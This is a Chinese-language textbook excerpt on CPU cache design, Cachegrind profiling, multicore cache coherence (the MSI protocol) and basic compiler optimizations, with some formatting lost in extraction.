**冲突未命中**:为了减少查找数据的复杂性,一些缓存设计限制了数据在缓存中存储的位置,这些限制可能导致*冲突未命中*。例如,即使一个直接映射的缓存没有完全满,程序也可能会把两个常用变量的地址映射到同一个缓存位置。在这种情况下,每次访问其中一个变量都会将另一个从缓存中驱逐,因为它们竞争相同的缓存行。
每种未命中类型的相对频率取决于程序的内存访问模式。一般而言,在不增加缓存大小的情况下,缓存的设计主要影响其冲突未命中率。虽然直接映射缓存比其他设计更简单,但它们最容易受到冲突的影响。
直接映射缓存的替代方案是*关联*缓存。关联设计使缓存能够在多个位置之间选择来存储一个内存区域。从直观上讲,拥有更多存储位置选项可以减少冲突的可能性,但也由于每次访问时需要检查更多位置而增加了复杂性。
*全关联*缓存允许任何内存区域占据任何缓存位置。全关联缓存提供了最大的灵活性,但它们也具有最高的查找和驱逐复杂性,因为在任何操作期间,每个位置都需要同时考虑。尽管全关联缓存在一些小型专用应用中(例如,转换旁路缓存——见《加快页面访问》第 655 页)非常有价值,但它们的高复杂性使得它们通常不适合用于通用 CPU 缓存。
*集合关联*缓存占据了直接映射和全关联设计之间的中间地带,这使得它们非常适合用于通用 CPU。在集合关联缓存中,每个内存区域映射到一个*缓存集合*,但每个集合存储多个缓存行。集合中的行数是缓存的固定维度,集合关联缓存通常每个集合存储两到八行。
#### 11.4.3 集合关联缓存
集合关联设计在复杂性和冲突之间提供了一个良好的折中。集合中的行数限制了缓存查找时需要检查的位置数量,并且映射到同一集合的多个内存区域只有在整个集合填满时才会触发冲突未命中。
在集合关联缓存中,内存地址的*索引*部分将地址映射到一组缓存行。当执行地址查找时,缓存会同时检查集合中的每一行。图 11-20 展示了二路集合关联缓存中的标签和有效位检查。
如果一个集合的有效行包含与地址的标签部分匹配的标签,则匹配的行完成查找。当查找将搜索范围缩小到仅一个缓存行时,它就像直接映射缓存一样进行:缓存使用地址的*偏移量*将所需的字节从该行的缓存块传送到 CPU 的算术组件。

*图 11-20:二路集合关联缓存中的有效位验证和标签匹配*
在集合中多个缓存行的额外灵活性减少了冲突,但也引入了一个新问题:当将一个值加载到缓存中(以及当逐出已经驻留在缓存中的数据时),缓存必须决定*选择*哪个缓存行选项。
为了解决这个选择问题,缓存采用了局部性原则。具体来说,时间局部性表明,最近使用的数据很可能会再次使用。因此,缓存采用与前一节中管理我们示例书架相同的策略:在决定逐出集合中的哪一行时,选择最近最少使用(LRU)行。LRU 被称为*缓存替换策略*,因为它决定了缓存的逐出机制。
LRU 策略要求每个集合存储额外的元数据位来标识集合中最近最少使用的行。随着集合中行数的增加,编码集合 LRU 状态所需的位数也增加。与更简单的直接映射变体相比,这些额外的元数据位增加了集合关联设计的“更高复杂度”。
图 11-21 展示了一个二路集合关联缓存,意味着每个集合包含两行。只有两行时,每个集合需要一个 LRU 元数据位来跟踪最近最少使用的行。在图中,LRU 值为零表示最左边的行最近最少使用,值为一则表示最右边的行最近最少使用。

*图 11-21:一个二路集合关联缓存,其中每个集合存储一个 LRU 元数据位来决定逐出策略*
**警告:LRU 位解释**
图 11-21 中选择零表示“左”而一表示“右”是任意的。LRU 位的解释在不同缓存中有所不同。如果你被要求处理缓存任务,不要假设任务使用的是相同的 LRU 编码方案!
##### 集合关联缓存示例
考虑具有以下特点的 CPU:
+ 16 位内存地址。
+ 一个具有 64 个集合的二路组相联缓存。请注意,将缓存设置为二路组相联会使其存储容量翻倍(每个集合两行),因此这个示例减少了集合的数量,从而使它存储的行数与早期的直接映射示例相同。
+ 32 字节缓存块。
+ 一种 LRU 缓存替换策略,指示集合的最左边行是否为最近最少使用(LRU = 0),或者集合的最右边行是否为最近最少使用(LRU = 1)。
最初,缓存为空(所有行无效,LRU 位为 0),如 图 11-22 所示。

*图 11-22:一个空的二路组相联缓存示例*
假设在此 CPU 上运行的程序访问以下内存位置(与直接映射示例相同)(参见 图 11-23 至 11-28):
1\. 从地址 1010000001100100 读取。
2\. 从地址 1010000001100111 读取。
3\. 从地址 1001000000100000 读取。
4\. 从地址 1111000001100101 读取。
5\. 向地址 1111000001100000 写入。
6\. 向地址 1010000001100100 写入。
首先确定如何将内存地址分为 *偏移量*、*索引* 和 *标签* 部分。从低位到高位依次考虑地址的各个部分(从右到左):
*偏移量*:32 字节块大小意味着地址的最右边五位(log[2] 32 = 5)构成偏移量部分。五位可以唯一标识块中的任何字节。
*索引*:一个 64 集合的缓存意味着地址的下六位(log[2] 64 = 6)构成索引部分。六位可以唯一标识缓存中的每个集合。
*标签*:标签由地址中不属于偏移量或索引的剩余位组成。这里,地址剩下 5 位用于标签(16 - (5 + 6)= 5)。

*图 11-23:从地址 1010000001100100 读取。索引 000011(集合 3)处的两行都无效,因此请求未命中,缓存从主存中加载数据。该集合的 LRU 位为 0,缓存将数据加载到左侧行,并更新 LRU 位为 1。*

*图 11-24:从地址 1010000001100111 读取。索引 000011(集合 3)处的左侧行持有匹配的标签,因此请求命中。*

*图 11-25:从地址 1001000000100000 读取。索引 000001(集合 1)处的两行都无效,因此请求未命中,缓存从主存中加载数据。该集合的 LRU 位为 0,缓存将数据加载到左侧行,并更新 LRU 位为 1。*

*图 11-26:从地址 1111000001100101 读取。在索引 000011(集合 3)处,一行的标签不匹配,另一行无效,因此请求未命中。该集合的 LRU 位为 1,缓存将数据加载到右侧行,并更新 LRU 位为 0。*

*图 11-27:写入地址 1111000001100000。索引 000011(集合 3)处的右行有效且具有匹配标签,因此请求命中。由于此访问是写入操作,缓存将该行的脏位设置为 1。LRU 位保持为 0,表示左行仍然是最近最少使用的。*

*图 11-28:写入地址 1010000001100100。索引 000011(集合 3)处的左行有效且具有匹配标签,因此请求命中。由于此访问是写入操作,缓存将该行的脏位设置为 1。访问左行后,缓存将该行的 LRU 位设置为 1。*
在这个例子中,相同的内存访问序列,在直接映射缓存中导致了两个冲突未命中,但在双路组相联缓存中则没有发生冲突。
### 11.5 缓存分析与 Valgrind
由于缓存对程序性能有显著影响,大多数系统提供了分析工具来测量程序对缓存的使用情况。一个这样的工具是 Valgrind 的`cachegrind`模式,本节将使用它来评估缓存性能。
考虑以下程序,它生成一个随机的 *N* × *N* 矩阵:
include <stdio.h>
include <stdlib.h>
include <sys/time.h>
include <time.h>
int **genRandomMatrix(int n, int max) {
int i, j;
int **mat = malloc(n * sizeof(int *));
for (i = 0; i < n; i++) {
mat[i] = malloc(n * sizeof(int));
for (j = 0; j < n; j++) {
mat[i][j] = 1 + rand() % max;
}
}
return mat;
}
void free_all(int **mat, int n) {
int i;
for (i = 0; i < n; i++) {
free(mat[i]);
}
free(mat);
}
int main(int argc, char **argv) {
int i, n;
int **matrix;
if (argc != 2) {
fprintf(stderr, "usage: %s
fprintf(stderr, "where
return 1;
}
n = strtol(argv[1], NULL, 10);
srand(time(NULL));
matrix = genRandomMatrix(n, 100);
free_all(matrix, n);
return 0;
}
本章前面的章节介绍了两种对矩阵中每个元素进行平均化的函数。它们的区别仅在于访问矩阵的索引方式:
版本 1
float averageMat_v1(int **mat, int n) {
int i, j, total = 0;
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
// Note indexing: [i][j]
total += mat[i][j];
}
}
return (float) total / (n * n);
}
版本 2
float averageMat_v2(int **mat, int n) {
int i, j, total = 0;
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
// Note indexing: [j][i]
total += mat[j][i];
}
}
return (float) total / (n * n);
}
本节使用缓存分析工具来量化它们之间的差异。
#### 11.5.1 初步分析:理论分析与基准测试
基于局部性和内存层级的理论分析表明,第一种版本由于 `mat` 矩阵在内存中是以行主序(row-major)顺序存储的,因此在空间局部性上表现得更好(参见第 86 页中的“二维数组内存布局”部分)。第二种解决方案由于每个元素都是按列主序(column-major)顺序访问,因此空间局部性较差。回忆一下,数据是按*块*加载到缓存中的。按列主序访问矩阵可能会导致更多的缓存未命中,从而导致性能较差。
让我们修改主函数,增加对 `gettimeofday` 函数的调用,以准确测量两个版本之间的性能差异:
int main(int argc, char** argv) {
/* Validate command line parameters. */
if (argc != 2) {
fprintf(stderr, "usage: %s
fprintf(stderr, "where
return 1;
}
/* Declare and initialize variables. */
int i;
float res;
double timer;
int n = strtol(argv[1], NULL, 10);
srand(time(NULL));
struct timeval tstart, tend;
int ** matrix = genRandomMatrix(n, 100);
/* Time version 1. */
gettimeofday(&tstart, NULL);
res = averageMat_v1(matrix, n);
gettimeofday(&tend, NULL);
timer = tend.tv_sec - tstart.tv_sec + (tend.tv_usec - tstart.tv_usec)/1.e6;
printf("v1 average is: %.2f; time is %g\n", res, timer);
/* Time version 2. */
gettimeofday(&tstart, NULL);
res = averageMat_v2(matrix, n);
gettimeofday(&tend, NULL);
timer = tend.tv_sec - tstart.tv_sec + (tend.tv_usec - tstart.tv_usec)/1.e6;
printf("v2 average is: %.2f; time is %g\n", res, timer);
/* Clean up. */
free_all(matrix, n);
return 0;
}
编译代码并运行后,得到以下结果(请注意,时间会根据运行它的机器有所不同):
$ gcc -o cachex cachex.c
$ ./cachex 5000
v1 average is: 50.49; time is 0.053641
v2 average is: 50.49; time is 0.247644
这是一个很大的差异!本质上,使用行主序(row-major)顺序的解决方案比第二种方式快 4.61 倍!
#### 11.5.2 真实世界中的缓存分析:Cachegrind
理论分析这两种解决方案并运行它们验证了第一版比第二版更快。然而,它并没有确认缓存分析的细节。幸运的是,Valgrind 工具套件可以提供帮助。在本书前面部分,我们讨论了 Valgrind 如何帮助查找程序中的内存泄漏(参见第 168 页的“使用 Valgrind 调试内存”)。本节介绍了 Cachegrind,Valgrind 的缓存模拟器。Cachegrind 使程序员能够研究程序或特定函数如何影响缓存。
Cachegrind 模拟程序与计算机缓存层次结构的交互。在许多情况下,Cachegrind 可以自动检测机器的缓存组织结构。如果无法检测,Cachegrind 仍会模拟第一级(L1)缓存和最后一级(LL)缓存。它假设第一级缓存有两个独立的组成部分:指令缓存和数据缓存。这样做的原因是最后一级缓存对运行时性能的影响最大。L1 缓存的关联度也最低,因此确保程序与其良好交互非常重要。这些假设与大多数现代计算机的结构相符。
Cachegrind 收集并输出以下信息:
+ 指令缓存读取(`Ir`)
+ L1 指令缓存读取未命中(`I1mr`)和 LL 缓存指令读取未命中(`ILmr`)
+ 数据缓存读取(`Dr`)
+ D1 缓存读取未命中(`D1mr`)和 LL 缓存数据未命中(`DLmr`)
+ 数据缓存写入(`Dw`)
+ D1 缓存写入未命中(`D1mw`)和 LL 缓存数据写入未命中(`DLmw`)
请注意,D1 总访问量通过`D1` = `D1mr` + `D1mw`计算,LL 总访问量则由`ILmr` + `DLmr` + `DLmw`给出。
让我们看看版本 1 的代码在 Cachegrind 下的表现如何。要运行它,请使用以下命令执行已编译的代码,并在 Valgrind 上运行:
$ valgrind --tool=cachegrind ./cachex 1000
在这个调用中,Valgrind 的`cachegrind`工具作为`cachex`可执行文件的包装器。为 Cachegrind 选择更小的矩阵大小有助于提高执行速度。Cachegrind 输出有关整个程序缓存命中和未命中的信息:
28657 Cachegrind, a cache and branch-prediction profiler
28657 Copyright (C) 2002-2015, and GNU GPL'd by Nicholas Nethercote et al.
28657 Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
28657 Command: ./cachex 1000
28657
--28657-- warning: L3 cache found, using its data for the LL simulation.
average is: 50.49; time is 0.080304
average is: 50.49; time is 0.09733
28657
28657 I refs: 122,626,329
28657 I1 misses: 1,070
28657 LLi misses: 1,053
28657 I1 miss rate: 0.00%
28657 LLi miss rate: 0.00%
28657
28657 D refs: 75,292,076 (56,205,598 rd + 19,086,478 wr)
28657 D1 misses: 1,192,118 ( 1,129,099 rd + 63,019 wr)
28657 LLd misses: 64,399 ( 1,543 rd + 62,856 wr)
28657 D1 miss rate: 1.6% ( 2.0% + 0.3% )
28657 LLd miss rate: 0.1% ( 0.0% + 0.3% )
28657
28657 LL refs: 1,193,188 ( 1,130,169 rd + 63,019 wr)
28657 LL misses: 65,452 ( 2,596 rd + 62,856 wr)
28657 LL miss rate: 0.0% ( 0.0% + 0.3% )
然而,这次分析特别关注这两个版本的平均函数的命中和未命中情况。要查看这些信息,可以使用 Cachegrind 工具`cg_annotate`。运行 Cachegrind 时应该会在当前工作目录下生成一个类似于`cachegrind.out.n`的文件,其中`n`是某个进程 ID 号。要运行`cg_annotate`,输入以下命令(将`cachegrind.out.28657`替换为输出文件的名称):
$ cg_annotate cachegrind.out.28657
I1 cache: 32768 B, 64 B, 8-way associative
D1 cache: 32768 B, 64 B, 8-way associative
LL cache: 8388608 B, 64 B, 16-way associative
Command: ./cachex 1000
Data file: cachegrind.out.28657
Events recorded: Ir I1mr ILmr Dr D1mr DLmr Dw D1mw DLmw
Events shown: Ir I1mr ILmr Dr D1mr DLmr Dw D1mw DLmw
Event sort order: Ir I1mr ILmr Dr D1mr DLmr Dw D1mw DLmw
Thresholds: 0.1 100 100 100 100 100 100 100 100
Include dirs:
User annotated:
Auto-annotation: off
----------------------------------------------------------------------------
Ir I1mr ILmr Dr D1mr DLmr Dw D1mw DLmw
----------------------------------------------------------------------------
122,626,329 1,070 1,053 56,205,598 1,129,099 1,543 19,086,478 63,019 62,856 PROG TOTALS
----------------------------------------------------------------------------
Ir I1mr ILmr Dr D1mr DLmr Dw D1mw DLmw file:function
----------------------------------------------------------------------------
14,009,017 3 3 9,005,008 62,688 0 1,004 0 0 averageMat_v1
14,009,017 0 0 9,005,008 1,062,996 0 1,004 0 0 averageMat_v2
我们稍微编辑了该命令的输出,专注于两个版本的平均函数。该输出显示,版本 2 产生了 1,062,996 次数据未命中,而版本 1 则只有`62688`次未命中。Cachegrind 提供了有力的证据,证明我们的分析是正确的!
### 11.6 展望未来:多核处理器上的缓存
到目前为止,我们对缓存的讨论集中在单核处理器上的单一级别的缓存内存。然而,现代处理器是多核的,且有多个级别的缓存内存。通常,每个核心在内存层次结构的最高级别维护自己的私有缓存内存,并在较低级别与所有核心共享一个单一的缓存。图 11-29 展示了一个四核处理器的内存层次结构示例,其中每个核心包含一个私有的一级(L1)缓存,而二级(L2)缓存由所有四个核心共享。

*图 11-29:一个多核处理器的内存层次结构示例。四个核心每个都有自己的私有 L1 缓存,所有四个核心通过共享总线访问单一的 L2 缓存。多核处理器通过内存总线连接到 RAM。*
请记住,内存层次结构的较高级别比较低级别的访问速度更快,但容量更小。因此,L1 缓存比 L2 缓存小且更快,L2 缓存又比 RAM 小且更快。还要记住,缓存内存存储的是来自内存层次结构较低级别的值的副本;存储在 L1 缓存中的值是存储在 L2 缓存中的同一个值的副本,而 L2 缓存中的值又是存储在 RAM 中的同一个值的副本。因此,内存层次结构的较高级别充当较低级别的缓存。因此,在图 11-29 中的例子中,L2 缓存是 RAM 内容的缓存,每个核心的 L1 缓存是 L2 缓存内容的缓存。
多核处理器中的每个核心同时执行独立的指令流,通常来自不同的程序。为每个核心提供一个私有的 L1 缓存,允许核心将其执行的指令流中的数据和指令存储在它的最快缓存内存中。换句话说,每个核心的 L1 缓存只存储来自其执行流的内存块副本,而不是在所有核心共享的单一 L1 缓存中竞争空间。这种设计使得每个核心的私有 L1 缓存(即其最快缓存内存)比所有核心共享单一 L1 缓存时的命中率更高。
现代处理器通常包含超过两个级别的缓存。桌面系统中常见的是三级缓存,最高级别(L1)通常被分为两个独立的 L1 缓存,一个用于程序指令,另一个用于程序数据。低级缓存通常是*统一缓存*,即它们同时存储程序数据和指令。每个核心通常维持一个私有的 L1 缓存,并与所有核心共享一个单一的 L3 缓存。L2 缓存层位于每个核心的私有 L1 缓存和共享的 L3 缓存之间,在现代 CPU 设计中差异很大。L2 可能是一个私有的 L2 缓存,可能是所有核心共享的,或者可能是一个混合结构,其中包含多个 L2 缓存,每个 L2 缓存由一部分核心共享。
LINUX 系统中的处理器和缓存信息
如果您对 CPU 的设计感兴趣,可以通过几种方式获取有关处理器及其缓存组织在系统上的信息。例如,`lscpu`命令显示有关处理器的信息,包括其核心数、缓存的级别和大小。
$ lscpu
...
CPU(s): 12
Thread(s) per core: 2
Core(s) per socket: 6
Socket(s): 1
...
L1d cache: 192 KiB
L1i cache: 384 KiB
L2 cache: 3 MiB
L3 cache: 16 MiB
此输出显示总共有六个核心(`Socket(s)`乘以`每个插槽的核心数`),每个核心都是双路超线程的(`每个核心的线程数`),使得这六个物理核心在操作系统中呈现为 12 个 CPU(有关硬件多线程,请参阅第五章中的”多核和硬件多线程“)。此外,输出显示有三级缓存(`L1`、`L2`和`L3`),并且有两个单独的 L1 缓存,一个用于缓存数据(`L1d`),另一个用于缓存指令(`L1i`)。
除了`lscpu`命令外,`/proc`和`/sys`文件系统中的文件还包含有关处理器的信息。例如,命令`cat /proc/cpuinfo`会输出有关处理器的信息,以下命令列出特定处理器核心缓存的信息(请注意,这些文件以核心的超线程 CPU 命名,例如在此示例中,`cpu0`和`cpu6`是核心 0 上的两个超线程 CPU)。
$ ls /sys/devices/system/cpu/cpu0/cache
index0/ index1/ index2/ index3/
此输出表明核心 0 具有四个缓存(`index0`到`index3`)。要查看每个缓存的详细信息,请查看索引目录的`type`、`level`和`shared` `_cpu_list`文件。
$ cat /sys/devices/system/cpu/cpu0/cache/index*/type
Data
Instruction
Unified
Unified
$ cat /sys/devices/system/cpu/cpu0/cache/index*/level
1
1
2
3
$ cat /sys/devices/system/cpu/cpu0/cache/index*/shared_cpu_list
0,6
0,6
0,6
0-11
`type`输出表明核心 0 具有独立的数据和指令缓存以及其他两个统一缓存。将`level`输出与`type`输出相关联可知,数据和指令缓存都是 L1 缓存,而统一缓存分别是 L2 和 L3 缓存。`shared_cpu_list`进一步显示,L1 和 L2 缓存是核心 0 专用的(仅由 CPU `0`和`6`共享,即核心 0 上的两个超线程 CPU),而 L3 缓存则由所有六个核心共享(所有 12 个超线程 CPU,`0-11`)。
#### 11.6.1 缓存一致性
由于程序通常表现出高度的局部性引用特性,因此每个核心拥有自己的 L1 缓存,用于存储从其执行的指令流中获取的数据和指令是有优势的。然而,多个 L1 缓存可能会导致*缓存一致性*问题。当一个核心的 L1 缓存中存储的内存块副本的值与另一个核心 L1 缓存中存储的同一块内存的副本值不同时,就会出现缓存一致性问题。这种情况发生在一个核心向其 L1 缓存中已缓存的块写入数据,而该块同时也被其他核心的 L1 缓存缓存时。由于缓存块包含内存内容的副本,因此系统需要在所有缓存的块副本中维护一致的内存内容值。为了确保多个核心可以缓存并访问内存,必须实现一个*缓存一致性协议*。缓存一致性协议确保任何访问某内存位置的核心看到的是该内存位置的最新修改值,而不是看到可能存储在其 L1 缓存中的过时(陈旧)副本。
#### 11.6.2 MSI 协议
有许多不同的缓存一致性协议。在这里,我们讨论一个示例的详细信息——MSI 协议。*MSI 协议*(修改、共享、无效)为每个缓存行添加了三个标志(或位)。一个标志的值可以是清除(0)或设置(1)。这三个标志的值编码了其数据块相对于与其他缓存副本的一致性状态,并且它们的值会触发对数据块的读取或写入访问时的缓存一致性操作。MSI 协议使用的三个标志是:
+ *M*标志,若设置,表示该块已被修改,即该核心已经写入了其缓存值的副本。
+ *S*标志,若设置,表示该块未修改且可以安全共享,即多个 L1 缓存可以安全地存储该块的副本并从其副本读取。
+ *I*标志,若设置,表示缓存块无效或包含陈旧数据(是数据块的旧副本,不反映内存块的当前值)。
MSI 协议在读取和写入访问缓存条目时触发。
对于读取访问:
+ 如果缓存块处于 M 或 S 状态,则使用缓存的值来满足读取操作(其副本的值是内存块的最新值)。
+ 如果缓存块处于 I 状态,则缓存的副本与块的新版本不同,必须将块的新值加载到缓存行中,才能满足读取操作。
如果另一个核心的 L1 缓存存储了新值(它存储的值设置了 M 标志,表示它存储的是已修改的副本),该核心必须首先将其值写回到下一级缓存(例如,L2 缓存)。在执行写回后,它将清除 M 标志,并将缓存行(它的副本和下一级副本现在一致)设置为 S 位,表示该缓存行中的块处于可以被其他核心安全缓存的状态(L1 缓存块与 L2 缓存中的副本一致,并且核心从这个 L1 副本中读取块的当前值)。
启动读取访问的核心可以加载块的最新值到其缓存行。如果缓存行的 I 标志已设置,它将清除 I 标志,表示该块现在有效,并存储块的新值,设置 S 标志,表示该块可以安全共享(它存储的是最新值,并且与其他缓存副本一致),并清除 M 标志,表示 L1 缓存块的值与 L2 缓存中存储的副本一致(读取不会修改 L1 缓存中的内存副本)。
在写访问时:
+ 如果块处于 M 状态,则写入缓存副本的块。无需更改标志(该块保持在 M 状态)。
+ 如果块处于 I 状态或 S 状态,则通知其他核心该块正在被写入(已修改)。其他 L1 缓存中存储该块的副本如果处于 S 状态,则需要清除 S 位并将 I 位设置为 1(它们的副本现在与正在由其他核心写入的副本不一致)。如果另一个 L1 缓存中的块处于 M 状态,它将把块写回到下一级缓存,并将该副本设置为 I。正在写入的核心将加载块的最新值到其 L1 缓存中,设置 M 标志(它的副本将被写入修改),并清除 I 标志(它的副本现在有效),然后写入缓存块。
图 11-30 到 图 11-32 展示了一个应用 MSI 协议的示例,该协议确保对缓存于两个核心私有 L1 缓存中的内存块的读写访问的一致性。在图 11-30 中,我们的示例从共享数据块开始,该数据块已被复制到两个核心的 L1 缓存中,并且 S 标志已设置,这意味着 L1 缓存中的副本与 L2 缓存中的块值相同(所有副本都存储块的当前值,6)。此时,核心 0 和核心 1 都可以安全地从它们各自 L1 缓存中的副本读取,而不会触发一致性操作(S 标志表示它们的共享副本是最新的)。

*图 11-30:一开始,两个核心在它们的私有 L1 缓存中都有一个块的副本,并且 S 标志已设置(共享模式)*
如果 Core 0 接下来写入存储在其 L1 缓存中的该块副本,其 L1 缓存控制器会通知其他 L1 缓存使其副本无效。随后,Core 1 的 L1 缓存控制器清除 S 标志,并设置 I 标志,表示其副本已过时。Core 0 向其 L1 缓存中的块副本写入数据(在我们的例子中将其值更改为 7),并设置 M 标志,清除 S 标志,表示其副本已被修改并存储了当前的块值。此时,L2 缓存中的副本和 Core 1 的 L1 缓存中的副本都已经过时。结果缓存状态如图 11-31 所示。

*图 11-31:Core 0 向其副本写入数据后的缓存状态*
此时,Core 0 可以安全地从其缓存的块副本中读取数据,因为其副本处于 M 状态,表示它存储了该块的最新写入值。
如果 Core 1 接下来读取该内存块,则其 L1 缓存副本上的 I 标志表示该副本已过时,不能用来满足读取。Core 1 的 L1 缓存控制器必须先将该块的新值加载到 L1 缓存中,才能满足读取。为此,Core 0 的 L1 缓存控制器必须首先将其修改后的块值写回到 L2 缓存中,这样 Core 1 的 L1 缓存才能读取该块的新值到其 L1 缓存中。这些操作的结果(如图 11-32 所示),是 Core 0 和 Core 1 的 L1 缓存副本都存储在 S 状态,表示每个核心的 L1 副本已经是最新的,可以安全地用于满足对该块的后续读取。

*图 11-32:Core 1 接下来读取该块后的缓存状态*
#### 11.6.3 实现缓存一致性协议
要实现缓存一致性协议,处理器需要一种机制来识别何时需要对其他核心的 L1 缓存内容进行一致性状态变更。一种实现该机制的方法是通过在所有 L1 缓存共享的总线上进行 *监听*。监听缓存控制器会在总线上监听(或称为嗅探)读取或写入它缓存的块。因为每个读取和写入请求都是基于内存地址的,所以监听的 L1 缓存控制器可以识别来自另一个 L1 缓存的对它所存储的块的任何读写操作,并可以根据一致性协议做出相应的反应。例如,当它嗅探到另一个 L1 缓存对相同地址的写操作时,可以在缓存行上设置 I 标志。这就是如何通过嗅探实现 *写失效协议* 的例子。
MSI 和其他类似的协议,如 MESI 和 MOESI,都是写失效协议;即,当写入数据时,协议会使缓存中的条目副本失效。侦听也可以被写更新缓存一致性协议使用,在这种协议中,数据的新值从总线上侦听并应用到更新存储在其他 L1 缓存中的所有副本。
替代侦听,基于目录的缓存一致性机制可以用于触发缓存一致性协议。由于多个核心共享单一总线的性能限制,这种方法比侦听具有更好的扩展性。然而,基于目录的机制需要更多的状态信息来检测内存块是否共享,并且比侦听更慢。
#### 11.6.4 更多关于多核缓存的内容
多核处理器每个核心在内存层次结构的最高层级上拥有独立缓存的性能优势是值得的,尽管这需要处理器实现缓存一致性协议来增加额外的复杂性。这些缓存仅存储该核心执行的程序数据和指令副本。
尽管缓存一致性解决了多核处理器中具有独立 L1 缓存的内存一致性问题,但由于多核处理器上的缓存一致性协议,还可能出现另一个问题。这个问题叫做*假共享*,它可能发生在单个多线程并行程序的多个线程同时在多个核心上运行,并且它们访问的内存位置靠近其他线程访问的内存位置。在第 14.5 节中,我们将讨论假共享问题及其一些解决方案。
有关多核处理器硬件缓存的更多信息和细节,包括不同的协议及其实现方式,请参考计算机架构教科书。^(8)
### 11.7 小结
本章探讨了计算机存储设备的特性及其在访问延迟、存储容量、传输延迟和成本等关键指标上的权衡。由于设备体现了许多不同的设计和性能权衡,它们自然形成了内存层次结构,按照容量和访问时间将它们排序。在层次结构的顶端,像 CPU 缓存和主内存这样的主要存储设备能快速将数据直接提供给 CPU,但它们的容量有限。在层次结构的下层,像固态硬盘和硬盘这样的二级存储设备则提供高密度的批量存储,但性能较差。
由于现代系统既需要高容量又需要良好的性能,系统设计师会构建具有多种存储形式的计算机。关键是,系统必须管理哪些存储设备保存特定的数据块。系统的目标是将正在积极使用的数据存储在更快的存储设备中,并将不常使用的数据转存到较慢的存储设备中。
为了确定哪些数据正在被使用,系统依赖于程序数据访问模式,这些模式被称为*局部性*。程序表现出两种重要的局部性类型:*时间局部性*,即程序倾向于反复访问相同的数据,以及*空间局部性*,即程序倾向于访问接近其他已访问数据的数据。
局部性是 CPU 缓存的基础,CPU 缓存将主存储器的一小部分存储在直接位于 CPU 芯片上的高速存储器中。当程序试图访问主存储器时,CPU 首先会检查缓存中是否存在数据;如果缓存中找到了数据,它可以避免访问更为耗时的主存储器。
当程序发出读取或写入内存的请求时,它会提供要访问的内存位置的地址。CPU 缓存使用内存地址中的三部分比特来识别缓存行存储的主存储器子集。地址中的中间*索引*位将地址映射到缓存中的存储位置,高位*标签*位唯一标识缓存位置存储的内存子集,低位*偏移*位则标识程序要访问的存储数据的字节。
最后,本章通过演示如何使用 Cachegrind 工具进行运行中程序的缓存性能分析作为结尾。Cachegrind 模拟程序与缓存层次结构的交互,并收集关于程序使用缓存的统计数据(例如,命中率和未命中率)。
### 注释
1. *[`www.youtube.com/watch?v=9eyFDBPk4Yw`](https://www.youtube.com/watch?v=9eyFDBPk4Yw)*
2. *[`en.wikipedia.org/wiki/Punched_card`](https://en.wikipedia.org/wiki/Punched_card)*
3. *[`en.wikipedia.org/wiki/Magnetic_tape_data_storage`](https://en.wikipedia.org/wiki/Magnetic_tape_data_storage)*
4. *[`en.wikipedia.org/wiki/Floppy_disk`](https://en.wikipedia.org/wiki/Floppy_disk)*
5. *[`en.wikipedia.org/wiki/Optical_disc`](https://en.wikipedia.org/wiki/Optical_disc)*
6. *[`en.wikipedia.org/wiki/Hard_disk_drive`](https://en.wikipedia.org/wiki/Hard_disk_drive)*
7. *[`en.wikipedia.org/wiki/Flash_memory`](https://en.wikipedia.org/wiki/Flash_memory)*
8. 有一个建议是《计算机组织与设计:硬件与软件接口》,作者是 David A. Patterson 和 John L. Hennessy。
# 第十三章:代码优化

*代码优化*是通过减少程序的代码大小、复杂度、内存使用或运行时间(或这些的某些组合)来改进程序的过程,而不改变程序的固有功能。许多编译系统将代码优化器作为中间步骤。具体来说,*优化编译器*在编译过程中应用改善代码的转换。几乎所有现代编译器(包括 GCC)都是优化编译器。GCC C 编译器实现了多种*优化标志*,为程序员提供了对已实现优化子集的直接访问。编译器优化标志会以牺牲编译时间和调试便利为代价来优化代码。为了简化,GCC 将这些优化标志的子集包装成不同的*优化等级*,供程序员直接调用。例如,以下命令使用等级 1 优化编译一个示例程序:
$ gcc -O1 -o program program.c
GCC 中的等级 1(`-O1` 或 `-O`)优化执行基本的优化,以减少代码大小和执行时间,同时尽量保持编译时间最小化。等级 2(`-O2`)优化包括 GCC 实现的大多数优化,这些优化不涉及空间与性能之间的权衡。最后,等级 3(`-O3`)执行额外的优化(如函数内联,稍后本章会讨论),并可能导致程序编译时间显著增加。GCC 文档^(1)详细描述了已实现的优化标志。
关于优化编译器及其构建和操作的详细讨论超出了本教材的范围;我们鼓励有兴趣的读者查阅 Aho、Sethi 和 Ulman 的经典著作《编译原理、技术与工具》。本章的目的是突出大多数编译器可以(以及不能)做的一些事情,以及程序员如何与编译器和性能分析工具合作来帮助改进他们的代码。
#### 编译器已完成的工作
几乎所有编译器执行的一些常见优化将在接下来的部分中简要描述。学生*永远不要*手动实现这些优化,因为它们已经由编译器实现。
##### 常量折叠
代码中的常量在编译时进行计算,以减少生成的指令数量。例如,在下面的代码片段中,*宏展开*将语句`int debug = N-5`替换为`int debug = 5-5`。*常量折叠*随后将该语句更新为`int debug = 0`。
define N 5
int debug = N - 5; //constant folding changes this statement to debug = 0;
##### 常量传播
*常量传播*在编译时已知某个值的情况下,用常量值替换变量。考虑以下代码段:
int debug = 0;
//sums up all the elements in an array
int doubleSum(int *array, int length){
int i, total = 0;
for (i = 0; i < length; i++){
total += array[i];
if (debug) {
printf("array[%d] is: %d\n", i, array[i]);
}
}
return 2 * total;
}
一个采用常量传播的编译器会将`if (debug)`改为`if (0)`。
##### 死代码消除
程序中出现未使用的变量、赋值或语句并不罕见。尽管这些不需要的语句通常不是有意引入的,但它们往往是软件开发周期中不断迭代和优化的自然副产品。如果没有被发现,这些所谓的*死代码*序列可能会导致编译器输出不必要的汇编指令,从而浪费处理时间。大多数编译器采用数据流分析等技术来识别无法到达的代码段,并将其删除。*死代码消除*通常通过缩减代码大小和相关指令集来使程序运行得更快。例如,回到`doubleSum`函数,编译器利用常量传播将`debug`替换为`0`,从而简化了`if`语句:
int debug = 0;
//sums up all the elements in an array
int doubleSum(int *array, int length){
int i, total = 0;
for (i = 0; i < length; i++){
total += array[i];
if (0) { //debug replaced by constant propagation by compiler
printf("array[%d] is: %d\n", i, array[i]);
}
}
return 2 * total;
}
